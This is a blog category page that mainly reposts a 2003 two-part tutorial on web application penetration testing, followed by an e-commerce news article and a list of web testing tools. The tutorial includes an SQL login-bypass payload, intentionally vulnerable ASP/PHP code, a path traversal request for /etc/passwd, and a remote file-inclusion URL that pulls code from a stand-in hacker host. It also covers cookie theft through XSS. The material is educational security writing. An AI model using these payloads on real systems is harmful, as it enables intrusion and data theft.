'Web'에 해당되는 글 14건

  1. 2011.12.04 Web Penetration Testings by CEOinIRVINE
  2. 2010.04.10 The Promise Of E-Commerce by CEOinIRVINE
  3. 2010.04.02 Computer Security Consulting by CEOinIRVINE
  4. 2010.02.03 SoftwareQATest.com by CEOinIRVINE
  5. 2009.02.08 How to be penetration tester? (Computer Security Specialist?) by CEOinIRVINE
  6. 2009.02.06 CIS benchmarks by CEOinIRVINE
  7. 2009.01.14 Buying on Web to avoid sales taxes could end soon by CEOinIRVINE
  8. 2008.12.12 Web 2.0 entrepreneur cashes out just in time by CEOinIRVINE
  9. 2008.12.11 Advice For Yahoo!s, From Yahoo!s by CEOinIRVINE
  10. 2008.11.22 Web sites offer real estate agent rankings by CEOinIRVINE

Web Penetration Testings

Hacking 2011. 12. 4. 13:10



Note: It is assumed that the reader of this article has some knowledge of the HTTP protocol - specifically, the format of HTTP GET and POST requests, and the purpose of various header fields. This information is available in RFC2616.

Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking on the part of the developer.

The very nature of Web applications - their ability to collate, process and disseminate information over the Internet - exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests - a protocol that can employ a myriad of encoding and encapsulation techniques.

Most Web application environments (including ASP and PHP, which will both be used for examples throughout the series), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web "environment" is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable.

The Root of the Issue: Input Validation

Input validation issues can be difficult to locate in a large codebase with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or "blackbox" testing, in addition to (if possible) code auditing or "whitebox" testing, must be applied.

What exactly is a Web application?

A Web application is an application, generally comprised of a collection of scripts, that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, Webmail, shopping carts and portal systems.

How does it look from the users perspective?

Web applications typically interact with the user via FORM elements and GET or POST variables (even a 'Click Here' button is usually a FORM submission). With GET variables, the inputs to the application can be seen within the URL itself, however with POST requests it is often necessary to study the source of form-input pages (or capture and decode valid requests) in order to determine the users inputs.

An example HTTP request that might be provided to a typical Web application is as follows:

GET /sample.php?var=value&var2=value2 HTTP/1.1 | HTTP-METHOD REQUEST-URI PROTOCOL/VERSION
Session-ID: 361873127da673c | Session-ID Header
Host: www.webserver.com | Host Header
<CR><LF><CR><LF> | Two carriage return line feeds

Every element of this request can potentially be used by the Web application processing the request. The REQUEST-URI identifies the unit of code that will be invoked along with the query string: a separated list of &variable=value pairs defining input parameters. This is the main form of Web applications input. The Session-ID header provides a token identifying the client's established session as a primitive form of authentication. The Host header is used to distinguish between virtual hosts sharing the same IP address and will typically be parsed by the Web server, but is, in theory, within the domain of the Web application.

As a penetration tester you must use all input methods available to you in order to elicit exception conditions from the application. Thus, you cannot be limited to what a browser or automatic tools provide. It is quite simple to script HTTP requests using utilities like curl, or shell scripts using netcat. The process of exhaustive blackbox testing a Web application is one that involves exploring each data element, determining the expected input, manipulating or otherwise corrupting this input, and analysing the output of the application for any unexpected behaviour.

The Information Gathering Phase

Fingerprinting the Web Application Environment

One of the first steps of the penetration test should be to identify the Web application environment, including the scripting language and Web server software in use, and the operating system of the target server. All of these crucial details are simple to obtain from a typical Web application server through the following steps:

1. Investigate the output from HEAD and OPTIONS http requests

The header and any page returned from a HEAD or OPTIONS request will usually contain a SERVER: string or similar detailing the Web server software version and possibly the scripting environment or operating system in use.

OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:02:45 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

2. Investigate the format and wording of 404/other error pages

Some application environments (such as ColdFusion) have customized and therefore easily recognizable error pages, and will often give away the software versions of the scripting language in use. The tester should deliberately request invalid pages and utilize alternate request methods (POST/PUT/Other) in order to glean this information from the server.

Below is an example of a ColdFusion 404 error page:

3. Test for recognised file types/extensions/directories

Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes.

GET /blah.idq HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:12:24 GMT
Content-Type: text/html

<HTML>The IDQ file blah.idq could not be found.

4. Examine source of available pages

The source code from the immediately accessible pages of the application front-end may give clues as to the underlying application environment.

<title>Home Page</title>
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">

In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.

5. Manipulate inputs in order to elicit a scripting error

In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment:

6. TCP/ICMP and Service Fingerprinting
Using traditional fingerprinting tools such as Nmap and Queso, or the more recent application fingerprinting tools Amap and WebServerFP, the penetration tester can gain a more accurate idea of the underlying operating systems and Web application environment than through many other methods. NMAP and Queso examine the nature of the host's TCP/IP implementation to determine the operating system and, in some cases, the kernel version and patch level. Application fingerprinting tools rely on data such as Server HTTP headers to identify the host's application software.

Hidden form elements and source disclosure

In many cases developers require inputs from the client that should be protected from manipulation, such as a user-variable that is dynamically generated and served to the client, and required in subsequent requests. In order to prevent users from seeing and possibly manipulating these inputs, developers use form elements with a HIDDEN tag. Unfortunately, this data is in fact only hidden from view on the rendered version of the page - not within the source.

There have been numerous examples of poorly written ordering systems that would allow users to save a local copy of order confirmation pages, edit HIDDEN variables such as price and delivery costs, and resubmit their request. The Web application would perform no further authentication or cross-checking of form submissions, and the order would be dispatched at a discounted price!

<FORM METHOD="LINK" ACTION="/shop/checkout.htm">
<INPUT TYPE="HIDDEN" name="quoteprice" value="4.25">Quantity: <INPUT TYPE="text"
NAME="totalnum"> <INPUT TYPE="submit" VALUE="Checkout">
</FORM>

This practice is still common on many sites, though to a lesser degree. Typically only non-sensitive information is contained in HIDDEN fields, or the data in these fields is encrypted. Regardless of the sensitivity of these fields, they are still another input to be manipulated by the blackbox penetration tester.

All source pages should be examined (where feasible) to determine if any sensitive or useful information has been inadvertently disclosed by the developer - this may take the form of active content source within HTML, pointers to included or linked scripts and content, or poor file/directory permissions on critical source files. Any referenced executables and scripts should be probed, and if accessible, examined.

Javascript and other client-side code can also provide many clues as to the inner workings of a Web application. This is critical information when blackbox testing. Although the whitebox (or 'code-auditing') tester has access to the application's logic, to the blackbox tester this information is a luxury which can provide for further avenues of attack. For example, take the following chunk of code:

<INPUT TYPE="SUBMIT" onClick="
if (document.forms['product'].elements['quantity'].value >= 255) {
document.forms['product'].elements['quantity'].value='';
alert('Invalid quantity');
return false;
} else {
return true;
}
">

This suggests that the application is trying to protect the form handler from quantity values of 255 of more - the maximum value of a tinyint field in most database systems. It would be trivial to bypass this piece of client-side validation, insert a long integer value into the 'quantity' GET/POST variable and see if this elicits an exception condition from the application.

Determining Authentication Mechanisms

One of the biggest shortcomings of the Web applications environment is its failure to provide a strong authentication mechanism. Of even more concern is the frequent failure of developers to apply what mechanisms are available effectively. It should be explained at this point that the term Web applications environment refers to the set of protocols, languages and formats - HTTP, HTTPS, HTML, CSS, JavaScript, etc. - that are used as a platform for the construction of Web applications. HTTP provides two forms of authentication: Basic and Digest. These are both implemented as a series of HTTP requests and responses, in which the client requests a resource, the server demands authentication and the client repeats the request with authentication credentials. The difference is that Basic authentication is clear text and Digest authentication encrypts the credentials using a nonce (time sensitive hash value) provided by the server as a cryptographic key.

Besides the obvious problem of clear text credentials when using Basic, there is nothing inherently wrong with HTTP authentication, and this clear-text problem be mitigated by using HTTPS. The real problem is twofold. First, since this authentication is applied by the Web server, it is not easily within the control of the Web application without interfacing with the Web server's authentication database. Therefore custom authentication mechanisms are frequently used. These open a veritable Pandora's box of issues in their own right. Second, developers often fail to correctly assess every avenue for accessing a resource and then apply authentication mechanisms accordingly.

Given this, penetration testers should attempt to ascertain both the authentication mechanism that is being used and how this mechanism is being applied to every resource within the Web application. Many Web programming environments offer session capabilities, whereby a user provides a cookie or a Session-ID HTTP header containing a psuedo-unique string identifying their authentication status. This can be vulnerable to attacks such as brute forcing, replay, or re-assembly if the string is simply a hash or concatenated string derived from known elements.

Every attempt should be made to access every resource via every entry point. This will expose problems where a root level resource such as a main menu or portal page requires authentication but the resources it in turn provides access to do not. An example of this is a Web application providing access to various documents as follows. The application requires authentication and then presents a menu of documents the user is authorised to access, each document presented as a link to a resource such as:

http://www.server.com/showdoc.asp?docid=10

Although reaching the menu requires authentication, the showdoc.asp script requires no authentication itself and blindly provides the requested document, allowing an attacker to simply insert the docid GET variable of his desire and retrieve the document. As elementary as it sounds this is a common flaw in the wild.

Conclusions

In this article we have presented the penetration tester with an overview of web applications and howweb developers obtain and handle user inputs. We have also shown the importance of fingerprinting the target environment and developing an understanding of the back-end of an application. Equipped with this information, the penetration tester can proceed to targeted vulnerability tests and exploits. The next installment in this series will introduce code and content-manipulation attacks, such as PHP/ASP code injection, SQL injection, Server-Side Includes and Cross-site scripting.

http://www.securityfocus.com/infocus/1704

Penetration Testing for Web Applications (Part Two)
by Jody Melbourne and David Jorm
last updated July 3, 2003

Our first article in this series covered user interaction with Web applications and explored the various methods of HTTP input that are most commonly utilized by developers. In this second installment we will be expanding upon issues of input validation - how developers routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to server-side code-injection and SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validation such as cross-site scripting attacks.

The Blackbox Testing Method

The blackbox testing method is a technique for hardening and penetration-testing Web applications where the source code to the application is not available to the tester. It forces the penetration tester to look at the Web application from a user's perspective (and therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in Part One of this series) to probe the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, tries to get a 'feel' for the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to penetration testing.

The tester attempts to elicit exception conditions and anomalous behavior from the Web application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.


Figure 1 - Blackbox testing GET variables

Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly!

SQL Injection Vulnerabilities

Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Locating SQL Injection Vulnerabilities

Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.


Figure 2 - Potential SQL injection vulnerability


Figure 3 - Another potential SQL injection hole

Example: Authentication bypass using SQL injection

This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.

Examine the following code (using MS Access DB as our backend):

user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
response.write "Database Error"
else
if rs("C") < 1 then
response.write "Invalid Credentials"
else
response.write "Logged In"
end if
end if

In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form inputs. The developer may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of this series, any attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to our login script:

user: test' OR '1'='1
pass: test

the resulting SQL query would look as follows:

SELECT * FROM users where pass='test' and user='test' OR '1' = '1'

In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is always true, the first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker into the application.

For recent examples of this class of vulnerability, please refer to http://www.securityfocus.com/bid/4520 and http://www.securityfocus.com/bid/4931. Both of these advisories detail SQL authentication issues similar to the above.

MS-SQL Extended stored procedures

Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a DLL that is called by the application at runtime). Extended stored procedures can be used in the same manner as database stored procedures, and are usually employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environment. MSSQL has a number of built-in XSPs - most of these stored procedures are prefixed with an xp_.

Some of the built-in functions useful to the MSSQL pen-tester:

* xp_cmdshell - execute shell commands
* xp_enumgroups - enumerate NT user groups
* xp_logininfo - current login info
* xp_grantlogin - grant login rights
* xp_getnetname - returns WINS server name
* xp_regdeletekey - registry manipulation
* xp_regenumvalues
* xp_regread
* xp_regwrite
* xp_msver - SQL server version info

A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored procedures (which are executed with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).

There are many extended/stored procedures that should not be accessible to any user other than the DB owner. A comprehensive list can be found at MSDN: http://msdn.microsoft.com/library/default...._sp_00_519s.asp

A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com: http://www.sqlsecurity.com/DesktopDefault....index=3&tabid=4

PHP and MySQL Injection

A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characters (with Magic_Quotes enabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for direct shell execution like MSSQL's xp_cmdshell, however in many cases it is still possible for the attacker to append arbitrary conditions to queries, or use UNIONs and subselects to access or modify records in the database.

For more information on PHP/MySQL security issues, refer to http://www.phpadvisory.com. PHP/Mysql security issues are on the increase - reference phpMyshop (http://www.securityfocus.com/bid/6746) and PHPNuke (http://www.securityfocus.com/bid/7194) advisories.

Code and Content Injection

What is code injection? Code injection vulnerabilities occur where the output or content served from a Web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself.

This vulnerability hinges upon the manner in which the application loads and passes through the contents of these manipulated files - if this is done before the scripting language is parsed and executed, the user-modified content may also be subject to parsing and execution.

Example: A simple message board in PHP

The following snippet of PHP code is used to display posts for a particular message board. It retrieves the messageid GET variable from the user and opens a file $messageid.txt under /var/www/forum:

<?php
include('/var/www/template/header.inc');
if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($messageid) . '.txt') &&
is_numeric($messageid)) {
include('/var/www/forum/' . stripslashes($messageid) . '.txt');
} else {
include('/var/www/template/error.inc');
}
include('/var/www/template/footer.inc');
?>

Although the is_numeric() test prevents the user from entering a file path as the messageid, the content of the message file is not checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the message contained PHP code, it would be include()'d and therefore executed by the server.

A simple method of exploiting this example vulnerability would be to post to the message board a simple chunk of code in the language of the application (PHP in this example), then view the post and see if the output indicates the code has been executed.

Server Side Includes (SSI)

SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail.

Miscellaneous Injection

There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner.

For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. But what about a Web application that opens a serial port and logs information remotely via a modem? Could the user input a modem command escape string, cause the modem to hangup and redial other numbers? This is merely one example of the concept of injection. The critical point for the penetration tester is to understand what the Web application is doing in the background - the function calls and commands it is executing - and whether the arguments to these calls or strings of commands can be manipulated via headers, cookies and GET/POST variables.

Example: PHP fopen()

As a real world example, take the widespread PHP fopen() issue. PHP's file-open fopen() function allows for URLs to be entered in the place of a filename, simplifying access to Web services and remote resources. We will use a simple portal page as an example:

URL: http://www.example.com/index.php?file=main

<?php
include('/var/www/template/header.inc');
if (isset($_GET['file']) {
$fp = fopen("$file" . ".html","r");
} else {
$fp = fopen("main.html", "r");
}
include('/var/www/template/footer.inc');
?>

The index.php script includes header and footer code, and fopen()'s the page indicated by the file GET variable. If no file variable is set, it defaults to main.html. The developer is forcing a file extension of .html, but is not specifying a directory prefix. A PHP developer inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long as the filename requested ends in .html (See below).

However, due to fopen()'s URL handling features, an attacker in this case could submit:

http://www.example.com/index.php?file=http...ersite.com/main

This would force the example application to fopen() the file main.html at www.hackersite.com. If this file were to contain PHP code, it would be incorporated into the output of the index.php application, and would therefore be executed by the server. In this manner, an attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side execution of the code of his/her choosing.

W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could result in fopen() attacks - refer to http://www.securityfocus.com/bid/6463 for more details. This is a perfect example of this particular class of vulnerability.

Many skilled Web application developers are aware of current issues such as SQL injection and will use the many sanity-checking functions and command-stripping mechanisms available. However, once less common command systems and protocols become involved, sanity-checking is often flawed or inadequate due to a lack of comprehension of the wider issues of input validation.

Path Traversal and URIs

A common use of Web applications is to act as a wrapper for files of Web content, opening them and returning them wrapped in chunks of HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If the variable being read in to specify the file to be wrapped is not checked, a relative path can be entered.

Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with fopen():

fopen("$file" , "r");

...the attacker would be able to traverse to any file readable by the Web application.

http://www.example.com/index.php?file=../...../../etc/passwd

This request would return the contents of /etc/passwd unless additional stripping of the path character (/.) had been performed on the file variable.

This problem is compounded by the automatic handling of URIs by many modern Web scripting technologies, including PHP, Java and Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an open relay or proxy:

http://www.example.com/index.php?file=http...www.google.com/

This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller sites whose application code performs basic content wrapping. The problem can be mitigated in two ways. First, by implementing an internal numeric index to the documents or, as in our message board code, using files named in numeric sequence with a static prefix and suffix. Second, by stripping any path characters such as [/\.] which attackers could use to access resources outside of the application's directory tree.

Cross Site Scripting

Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content.

A simple example of XSS can be seen in the following URL:

http://server.example.com/browse.cfm?categ...ID=1&name=Books

In this example the content of the 'name' parameter is displayed on the returned page. A user could submit the following request:

http://server.example.com/browse.cfm?categ...<h1>Books

If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be returned within the page and would be parsed by the browser as valid html. A better example would be as follows:

http://server.example.com/browse.cfm?categ...</script>

In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for this session would be displayed in a popup box upon submitting this request.

This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Javascript to submit a user's cookie to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to another user, in the hope that they open the URL. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If the original site relies on cookies alone for authentication, the user's account would be compromised. We will be covering cookies in more detail in part three of this series.

In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely to click on a long, encoded URL if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond that of the affected domain (in the user's browser security settings).

For more details on Cross-Site scripting and it's potential for abuse, please refer to the CGISecurity XSS FAQ at http://www.cgisecurity.com/articles/xss-faq.shtml.

Conclusion

In this article we have attempted to provide the penetration tester with a good understanding of the issue of input validation. Each of the subtopics covered in this article are deep and complex issues, and could well require a series of their own to cover in detail. The reader is encouraged to explore the documents and sites that we have referenced for further information.

The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web application authentication mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such as overflows and logic bugs) that have plagued developers for years, and are still quite common in the Web applications world.
http://www.securityfocus.com/infocus/1709

'Hacking' 카테고리의 다른 글

HttpOnly  (0) 2011.12.10
Security Advisory  (1) 2011.12.05
Blocked DOMAINS / IP address for spreading malicous files (Chat.EXE, Chat.DLL)  (0) 2011.11.30
Virus Pattern (Trend Micro)  (0) 2011.11.29
Informix SQL Injection Cheat Sheet  (0) 2011.11.08
Posted by CEOinIRVINE
l

The Promise Of E-Commerce

IT 2010. 4. 10. 02:49

 

Sramana Mitra, 04.09.10, 06:00 AM EDT

Main Street is no longer the place to set up a retail store. The Web is.


image

Whichever way you look at it, the Web has become the place for commerce.

Online spending grew 18% in March compared to last year -- the eighth consecutive month of double-digit growth, according to MasterCard Advisors' SpendingPulse. The growth rate has outpaced that of traditional brick-and-mortar stores. While many chain retailers' online sales are growing, their store sales are shrinking. At 41 of the 50 biggest retail chains in 2008, e-commerce revenue grew as store sales declined, says InternetRetailer.com.

For the longest time entrepreneurs wanting to venture off on their own would open a store downtown where foot traffic abounds. But that trend, it seems, is changing. Today's equivalent of foot traffic is eyeballs. Much of that traffic flows from search engines and mega-marketplaces such as Amazon.com ( AMZN - news - people ) and eBay ( EBAY - news - people ). Today an entrepreneur contemplating a retail business no longer leases space on Main Street. She opens a Web site. Her market is no longer local.


There is much discussion today about how we will reverse this recession and why entrepreneurs are a key piece of the puzzle. The U.S. Census reports that there are 19.5 million nonemployer firms -- mom-and-pops -- and a large portion of this segment operates retail stores. Another 4.5 million firms operate with less than 10 employees, a segment that is also heavy in retail. In this recession many of them have gone out of business.

For an economic recovery, the small, specialty retail segment will need to get back to a healthy state. E-commerce may be the answer. Evidence suggests many small online retailers are doing quite well.
Take FineArtAmerica.com, an online marketplace and social networking site for painters, photographers and other visual artists. Artists can use to the site to connect with collectors and other buyers and, says founder Sean Broihier, put the business side of their career on "autopilot," leaving them more time to create art. FineArtAmerica.com (FAA) has more than 28,000 artists who upload new images to the site each day; 6,000 of them offer prints for sale.

FAA has been profitable since launch in 2007, thanks in part to its low overhead. Founder Broihier is its solo owner, and the company has no employees. Revenues were $175,000 in 2008 and $1 million in 2009, and the company projects revenues of $2.5 million for 2010. Broihier says that FineArtAmerica.com currently attracts 175,000 unique visitors a day, and traffic is growing by 10%-15% a month.

Broihier is a very good example of someone who has taken destiny in his own hands by embracing the Web rather than joining the 10% unemployment pool in America. (See my post Deal Radar 2010: FineArtAmerica.)

Another entrepreneur, Jeff Taxdahl, founded Thread Logic in 2002 to create custom-logo-embroidered apparel for businesses and organizations. Products range from polo shirts to aprons to fleece blankets. In a business that has been slow to go online, Thread Logic has focused almost exclusively on Internet sales while keeping in close touch with customers. In 2009 sales were $1.1 million, up 27% over 2008. (See my post Deal Radar 2010: ThreadLogic.)

'IT' 카테고리의 다른 글

iPhone Development (performance-analysis application)  (1) 2010.10.07
EDITOR'S NOTE: Apple Right To Leave Older iPhones Behind  (0) 2010.04.11
iPad app 열전!!!  (0) 2010.04.10
Must-Have iPad Apps For Professionals  (0) 2010.04.09
New Twitter Feature Looks For Malicious URLs  (0) 2010.03.12
Posted by CEOinIRVINE
l

Computer Security Consulting

Hacking 2010. 4. 2. 08:21

www.richjustin.com

'Hacking' 카테고리의 다른 글

SSH JAVA APPLET http://javassh.org/space/start  (1) 2010.04.23
Malware Analysis  (0) 2010.04.23
Update Snort  (0) 2010.03.04
BASE 2010.3.3. Wed  (1) 2010.03.04
Snort IDS Installation  (0) 2010.03.04
Posted by CEOinIRVINE
l

SoftwareQATest.com

IT 2010. 2. 3. 10:31

 

More than 440 tools listed in 12 categories

Organization of Web Test Tools Listing - this tools listing has been loosely organized into the following categories:

Load and Performance Test Tools
Java Test Tools
Link Checkers
HTML Validators
Free On-the-Web HTML Validators and Link Checkers
PERL and C Programs for Validating and Checking
 Web Functional/Regression Test Tools
Web Site Security Test Tools
External Site Monitoring Services
Web Site Management Tools
Log Analysis Tools
Other Web Test Tools

Note: Categories are not well-defined and some tools could have been listed in several categories; the 'Web Site Management Tools' category includes products that contain: site version control tools, combined utilities/tools, server management and optimization tools, and authoring/publishing/deployment tools that include significant site management or testing capabilities. Suggestions for category improvement are welcome; see bottom of this page to send suggestions.

Check listed tool/vendor sites for latest product capabilities, supported platforms/servers/clients, etc; new listings are periodically added to the top of each category section; date of latest update is shown at bottom of this page.

Also see How can World Wide Web sites be tested? in the FAQ Part 2 for a discussion of web site testing considerations; also see What's the best way to choose a test automation tool? in the LFAQ section; there are also articles about web site testing and management in the 'Resources' section.

Load and Performance Test Tools

Xceptance LoadTest - Load testing and regression tool from Xceptance Software Technologies, Inc for web and Java and other app load testing. Includes recording capabilities. XLT Cloud Service available. Tests implemented as JUnit 4 test cases. For web-based tests, the framework provides a (headless) browser that can emulate Internet Explorer or Firefox behaviour. Can execute client-side JavaScript in the emulated web browsers and that way it simplifies the creation of test cases for Web 2.0 applications. Platform independent due to tool being implemented in Java; test scripting in Java or Ruby. Free for up to five virtual users.

SiteBlaster - Web site load and stress testing tool; shareware. Can be used to rapidly submit requests to a site, or can pause a random amount of time between submissions, approximating user behavior. During testing the pages being tested will be displayed. Reports created on test completion. Designed to be very easy to use; intended for software developers and architects who want some early indication about performance characteristics of the web sites they create. Simulates MS IE web browsing functionality; a web page that is well behaved in IE should be well behaved in SiteBlaster. Best used to test those sites that use URL query strings to pass data to its web page(s). PDF user guide available. For Windows.

Load-Intelligence - Affordable load-testing “Software as a Service” from Cloud-Intelligence. Software and unlimited hardware all included. JMeter users can execute their test-scripts in an unlimited, pre-configure, distributed environment. Neither setup nor installation are required. Immediate access to JMeter logs, reports, test script, CSV files and more.

LoadStorm - A web-based load testing tool/service as a distributed application that leverages the power of Amazon Web Services to scale on demand with processing power and bandwidth as needed. As the test loads increase to hundreds or thousands of virtual users, LoadStorm automatically adds machines from Amazon's server farm to handle the processing. Tests can be built using the tool in such a way as to simulate a large number of different users with unique logins and different tasks.

BrowserMob - On-demand, self-service, low-cost, pay-as-you-go service enables simulation of large volumes of real browsers hitting a website. Utilizes Amazon Web Services, Selenium. Uses real browsers for each virtual user so that traffic is realistic, AJAX & Flash support is automatic. Browser screen shots of errors included in reports.

Load Impact - Online load testing service from Gatorhole/loadimpact.com for load- and stress- testing of your website over the Internet; access to our distributed network of load generator nodes - server clusters with very fast connections to enable simulation of tens of thousands of users accessing your website concurrently. Free low level load tests for 1-50 simulated users; higher levels have monthly fees.

Pylot - Open source tool by Corey Goldberg for generating concurrent http loads. Define test cases in an XML file - specify requests - url, method, body/payload, etc - and verifications. Verification is by matching content to regular expressions and with HTTP status codes. HTTP and HTTPS (SSL) support. Monitor and execute test suites from GUI (wxPython), and adjust load, number of agents, request intervals, rampup time, test duration. Real-time stats and error reporting are displayed.

AppLoader - Load testing app from NRG Global for web and other applications accessible from a Windows desktop; generates load from the end user's perspective. Protocol independent and supports a wide variety of enterprise class applications. Integrates with their Chroniker monitoring suite so results of load testing can be correlated with system behavior as load is increased. Runs from Win platforms.

fwptt - Open source tool by Bogdan Damian for load testing web applications. Capabilities include handling of Ajax. Generates tests in C#. For Windows platforms

JCrawler - An open-source stress-testing tool for web apps; includes crawling/exploratory features. User can give JCrawler a set of starting URLs and it will begin crawling from that point onwards, going through any URLs it can find on its way and generating load on the web application. Load parameters (hits/sec) are configurable via central XML file; fires up as many threads as needed to keep load constant; includes self-testing unit tests. Handles http redirects and cookies; platform independent.

vPerformer - Performance and load testing tool from Verisium Inc. to assess the performance and scalability of web apps. Use recorded scripts or customized scripts using Javascript. Targeted platforms: Windows

Curl-Loader - Open-source tool written in 'C', simulating application load and behavior of tens of thousand HTTP/HTTPS and FTP/FTPS clients, each with its own source IP-address. In contrast to other tools curl-loader is using real C-written client protocol stacks, namely, HTTP and FTP stacks of libcurl and TLS/SSL of openssl. Activities of each virtual client are logged and collected statistics include information about: resolving, connection establishment, sending of requests, receiving responses, headers and data received/sent, errors from network, TLS/SSL and application (HTTP, FTP) level events and errors.

